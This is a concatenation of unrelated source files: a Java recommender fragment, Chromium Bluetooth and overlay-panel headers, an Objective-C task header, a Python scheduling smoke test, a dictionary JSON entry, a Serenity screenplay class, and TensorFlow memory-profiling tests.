(!recentItemInteractions.contains(item)) { recs.add(new ItemRecommendationResult(item,dot(productFeatures.getValue(),userVector))); } } } List<ItemRecommendationResult> recsList = Ordering.natural().greatestOf(recs, maxRecsCount); if (logger.isDebugEnabled()) logger.debug("Created "+recsList.size() + " recs"); return new ItemRecommendationResultSet(recsList, name); } public double[] createAvgProductVector(List<Long> recentitemInteractions,Map<Long,float[]> productFeatures) { int numLatentFactors = productFeatures.values().iterator().next().length; double[] userFeatures = new double[numLatentFactors]; for (Long item : recentitemInteractions) { float[] productFactors = productFeatures.get(item); if (productFactors != null) { for (int feature = 0; feature < numLatentFactors; feature++) { userFeatures[feature] += productFactors[feature]; } } } RealVector userFeaturesAsVector = new ArrayRealVector(userFeatures); RealVector normalised = userFeaturesAsVector.mapDivide(userFeaturesAsVector.getL1Norm()); return normalised.getData(); } /** * http://www.slideshare.net/fullscreen/srowen/matrix-factorization/16 * @param recentitemInteractions * @param productFeaturesInverse * @param idMap * @return */ public double[] foldInUser(List<Long> recentitemInteractions,double[][] productFeaturesInverse,Map<Long,Integer> idMap) { int numLatentFactors = productFeaturesInverse[0].length; double[] userFeatures = new double[numLatentFactors]; for (Long item : recentitemInteractions) { Integer id = idMap.get(item); if (id != null) { for (int feature = 0; feature < numLatentFactors; feature++) { userFeatures[feature] += productFeaturesInverse[id][feature]; } } } return userFeatures; } private static float dot(float[] vec1, double[] vec2){ float sum = 0; for (int i = 0; i < vec1.length; i++){ sum += vec1[i] * vec2[i]; } return sum; } @Override public String name() { return name; } }
2,584
14,668
// Copyright 2021 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CHROMEOS_SERVICES_BLUETOOTH_CONFIG_FAKE_DEVICE_CACHE_H_ #define CHROMEOS_SERVICES_BLUETOOTH_CONFIG_FAKE_DEVICE_CACHE_H_ #include "chromeos/services/bluetooth_config/device_cache.h" namespace chromeos { namespace bluetooth_config { class FakeDeviceCache : public DeviceCache { public: explicit FakeDeviceCache(AdapterStateController* adapter_state_controller); ~FakeDeviceCache() override; void SetPairedDevices( std::vector<mojom::PairedBluetoothDevicePropertiesPtr> paired_devices); void SetUnpairedDevices( std::vector<mojom::BluetoothDevicePropertiesPtr> unpaired_devices); private: // DeviceCache: std::vector<mojom::PairedBluetoothDevicePropertiesPtr> PerformGetPairedDevices() const override; std::vector<mojom::BluetoothDevicePropertiesPtr> PerformGetUnpairedDevices() const override; std::vector<mojom::PairedBluetoothDevicePropertiesPtr> paired_devices_; std::vector<mojom::BluetoothDevicePropertiesPtr> unpaired_devices_; }; } // namespace bluetooth_config } // namespace chromeos #endif // CHROMEOS_SERVICES_BLUETOOTH_CONFIG_FAKE_DEVICE_CACHE_H_
432
3,282
// Copyright 2015 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. package org.chromium.chrome.browser.compositor.bottombar; import org.chromium.content.browser.ContentViewCore; /** * The delegate that is notified when the OverlayPanel ContentViewCore is ready to be rendered. */ public interface OverlayPanelContentViewDelegate { /** * Sets the {@code ContentViewCore} associated to the OverlayPanel. * @param contentViewCore Reference to the ContentViewCore. */ void setOverlayPanelContentViewCore(ContentViewCore contentViewCore); /** * Releases the {@code ContentViewCore} associated to the OverlayPanel. */ void releaseOverlayPanelContentViewCore(); }
233
1,615
// // MLNUILazyBlockTask.h // ArgoUI // // Created by <NAME> on 2020/7/6. // #import "MLNUIBeforeWaitingTask.h" NS_ASSUME_NONNULL_BEGIN @interface MLNUILazyBlockTask : MLNUIBeforeWaitingTask + (instancetype)taskWithCallback:(void(^)(void))callabck taskID:(NSValue *)taskID; @end NS_ASSUME_NONNULL_END
133
890
<filename>tests/smoke/organizations/locations/roles/schedules/base_schedule.py from datetime import timedelta, datetime from app.helpers import normalize_to_midnight from tests.smoke.organizations.locations.roles.base_role import BaseRole class BaseSchedule(BaseRole): def setUp(self): # (if you are copying and pasting, update class title below) super(BaseSchedule, self).setUp() today = normalize_to_midnight(datetime.utcnow()) self.range_start = (today + timedelta(days=7)).isoformat() self.range_stop = (today + timedelta(days=14)).isoformat() self.demand = { "monday": [ 0, 0, 0, 0, 0, 0, 0, 0, 3, 6, 10, 13, 12, 12, 12, 12, 13, 11, 8, 6, 4, 2, 0, 0 ], "tuesday": [ 0, 0, 0, 0, 0, 0, 0, 0, 2, 6, 9, 9, 9, 10, 12, 13, 13, 11, 7, 5, 4, 2, 0, 0 ], "wednesday": [ 0, 0, 0, 0, 0, 0, 0, 0, 3, 6, 10, 10, 11, 12, 12, 12, 12, 11, 9, 6, 5, 2, 0, 0 ], "thursday": [ 0, 0, 0, 0, 0, 0, 0, 0, 3, 6, 7, 11, 11, 11, 9, 9, 10, 9, 5, 3, 3, 2, 0, 0 ], "friday": [ 0, 0, 0, 0, 0, 0, 0, 0, 2, 2, 7, 9, 9, 10, 12, 12, 12, 8, 7, 5, 3, 2, 0, 0 ], "saturday": [ 0, 0, 0, 0, 0, 0, 0, 0, 2, 3, 7, 7, 7, 7, 7, 7, 6, 5, 4, 2, 2, 1, 0, 0 ], "sunday": [ 0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 1, 0, 0 ] } def tearDown(self): # (if you are copying and pasting, update class title below) super(BaseSchedule, self).tearDown()
1,054
335
{ "word": "Perforation", "definitions": [ "A hole made by boring or piercing.", "A small hole or row of small holes punched in a sheet of paper, e.g. of postage stamps, so that a part can be torn off easily.", "The action or state of perforating or being perforated." ], "parts-of-speech": "Noun" }
126
649
<filename>serenity-screenplay/src/main/java/net/serenitybdd/screenplay/questions/ConsequenceGroup.java package net.serenitybdd.screenplay.questions; import net.serenitybdd.screenplay.Actor; import net.serenitybdd.screenplay.BaseConsequence; import net.serenitybdd.screenplay.Question; import net.serenitybdd.screenplay.QuestionSubject; public class ConsequenceGroup<T> extends BaseConsequence<T> { private final Question<?> questionGroup; private final String subject; public <T> ConsequenceGroup(Question<?> questionGroup) { this.questionGroup = questionGroup; this.subject = QuestionSubject.fromClass(questionGroup.getClass()).andQuestion(questionGroup).subject(); } @Override public void evaluateFor(Actor actor) { performSetupActionsAs(actor); questionGroup.answeredBy(actor); } @Override public String toString() { String template = explanation.orElse("Then %s"); return addRecordedInputValuesTo(String.format(template, subjectText.orElse(subject))); } }
362
1,726
<reponame>ChenChuang/gradient-checkpointing<filename>test/mem_util_test.py # tests for memory tracking routines import pytest import tensorflow as tf import mem_util import util size_mbs = 1 # size of nodes in MB size = size_mbs * 250000 def _chain_backprop(n): """Creates forward backward graph using tf.gradients. A0->A1->A2->..->An / / / B0<-B1<-B2<-..<-Bn """ def forward(A0, n): """Takes A0, applies n operations to it, returns An.""" A = A0 for L in range(1, n+1): # op_i produces A_i A = tf.tanh(A, name="A"+str(L)) return A def backward(A0, An, Bn, n): B0 = tf.gradients([An], [A0], grad_ys=[Bn])[0] return B0 A0 = tf.fill((size,), 1.0, name="A0") An = forward(A0, n) Bn = tf.fill((size,), 1.0, name="Bn") B0 = tf.gradients([An], [A0], grad_ys=[Bn])[0] return B0 run_metadata = None DO_TRACING = True def sessrun(*args, **kwargs): """Helper method to use instead of sess.run that will automatically capture run_metadata.""" global sess, run_metadata if not DO_TRACING: return sess.run(*args, **kwargs) run_metadata = tf.RunMetadata() kwargs['options'] = tf.RunOptions(trace_level=tf.RunOptions.FULL_TRACE) kwargs['run_metadata'] = run_metadata result = sess.run(*args, **kwargs) return result def create_session(): """Create session with optimizations disabled.""" from tensorflow.core.protobuf import rewriter_config_pb2 optimizer_options = tf.OptimizerOptions(opt_level=tf.OptimizerOptions.L0) config = tf.ConfigProto(operation_timeout_in_ms=150000, graph_options=tf.GraphOptions(optimizer_options=optimizer_options)) config.graph_options.rewrite_options.constant_folding=rewriter_config_pb2.RewriterConfig.OFF config.graph_options.place_pruned_graph = True return tf.Session(config=config) def test_peak(): global sess, run_metadata tf.reset_default_graph() # create backprop for A0->A1->A2->A3 with tf.device("/cpu:0"): b0 = _chain_backprop(3) # this needs 4 MB of memory # A0/A1 share memory since A0 is not consumed by anyone, therefore at peak # we have A1,A2,A3,B0 stored in memory sess = create_session() sessrun(b0.op) peak_cpu = mem_util.peak_memory(run_metadata)['/cpu:0'] assert abs(peak_cpu - 4e6) < 1e4 @pytest.mark.skipif(not tf.test.is_gpu_available(), reason="requires GPU") def test_peak_gpu(): global sess, run_metadata tf.reset_default_graph() assert tf.test.is_gpu_available(), "This test requires GPU" # create backprop for A0->A1->A2->A3 with tf.device("/cpu:0"): b0 = _chain_backprop(3) # create backprop for A0->A1->A2->A3 with tf.device("/gpu:0"): c0 = _chain_backprop(3) sess = create_session() sessrun(tf.group(b0.op, c0.op)) peak_cpu = mem_util.peak_memory(run_metadata)['/cpu:0'] peak_gpu = mem_util.peak_memory(run_metadata)['/gpu:0'] assert abs(peak_cpu - 4e6) < 1e4 assert abs(peak_gpu - 4e6) < 1e4 @pytest.mark.skip(reason="can't run under pytest since it intercepts stdout") def test_print(): global sess, run_metadata tf.reset_default_graph() with tf.device("/cpu:0"): b0 = _chain_backprop(3) sess = create_session() sessrun(b0.op) with util.capture_stdout() as stdout: mem_util.print_memory_timeline(run_metadata) 4# should print something like this # 0 0 0 _SOURCE # 31 0 0 A0/dims # 47 0 0 A0/value # 55 0 0 Bn/dims # 59 0 0 Bn/value # 70 1000000 1000000 Bn # 95 2000000 1000000 A0 # 436 2000000 0 gradients/grad_ys_0 # 587 2000000 0 A1 # 732 3000000 1000000 A2 # 1308 4000000 1000000 A3 # 2026 4000000 0 gradients/A3_grad/TanhGrad # 2102 3000000 -1000000 Bn # 2108 3000000 0 gradients/A2_grad/TanhGrad # 2165 2000000 -1000000 A3 # 2170 2000000 0 gradients/A1_grad/TanhGrad # 2224 1000000 -1000000 A2 # 2227 0 -1000000 A0 print(stdout.getvalue().strip()) assert('4000000 1000000 A3' in stdout.getvalue()) def main(): global run_metadata, sess test_peak() test_print() test_peak_gpu() if __name__=='__main__': main()
1,861